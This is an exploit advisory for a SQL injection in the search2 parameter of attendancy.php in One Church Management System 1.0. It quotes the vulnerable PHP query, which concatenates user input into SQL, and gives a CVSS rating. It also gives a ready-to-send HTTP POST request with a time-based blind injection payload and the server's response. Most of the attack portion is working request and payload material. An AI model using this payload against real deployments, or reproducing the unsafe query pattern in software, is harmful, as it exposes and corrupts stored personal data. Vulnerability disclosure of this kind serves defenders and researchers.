One Church Management System 1.0 SQL Injection

`# Exploit Title: One Church Management System 1.0 - attendancy.php  
(search2) SQL Injection  
# Date: 18/03/2022  
# Exploit Author: Mr Empy  
# Software Link:  
https://www.sourcecodester.com/php/15225/church-management-software-free-download-full-version.html  
# Version: 1.0  
# Tested on: Linux  
  
  
Title:  
================  
One Church Management System 1.0 - attendancy.php (search2) SQL Injection  
  
  
Summary:  
================  
The One Church Management System suffers from a Structured Query Language  
(SQL) injection vulnerability because of the lack of query preparation with  
the PDO module. This allows an attacker to query the database, breaking  
confidentiality and integrity.  
  
88. if(isset($_POST['search2'])&& !empty($_POST['search2'])){  
89. $search2 = $_POST['search2'];  
90. $sql="SELECT  
tblchristian.ID,tblchristian.Name,tblchristian.Sex,tblchristian.Age,tblchristian.Occupation,tblchristian.District,tblchristian.Village,tblchristian.Phone  
from tblchristian where Code = '$search2'";  
91. $query = $dbh -> prepare($sql);  
92. $query->execute();  
93. $results=$query->fetchAll(PDO::FETCH_OBJ);  
94. $cnt=1;  
  
  
Severity Level:  
================  
9.1 (Critical)  
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N  
  
  
Affected Product:  
================  
One Church Management System v1.0  
  
  
Steps to Reproduce:  
================  
  
1. Open a request repeater (like Burp Suite) and send this request:  
  
POST /one_church/attendancy.php HTTP/1.1  
Host: target.com  
Content-Length: 102  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://target.com  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like  
Gecko) Chrome/95.0.4638.69 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9  
Referer: http://target.com/one_church/attendancy.php  
Accept-Encoding: gzip, deflate  
Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7  
Connection: close  
  
search2=%27+and+%28select+*+from%28select%28sleep%2810%29%29%29Avx%29+and+%27abc%27+%3D+%27abc&search=  
  
In the search2 parameter I injected a SQL blind payload: ' and (select *  
from(select(sleep(10)))Avx) and 'abc' = 'abc  
  
Reponse:  
  
HTTP/1.1 302 Found  
Date: Fri, 18 Mar 2022 14:02:51 GMT  
Server: Apache/2.4.52  
Set-Cookie: PHPSESSID=2fdb771gp041gnuphtglv608b1; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Location: http://target.com/one_church/index.php  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Content-Length: 14927  
`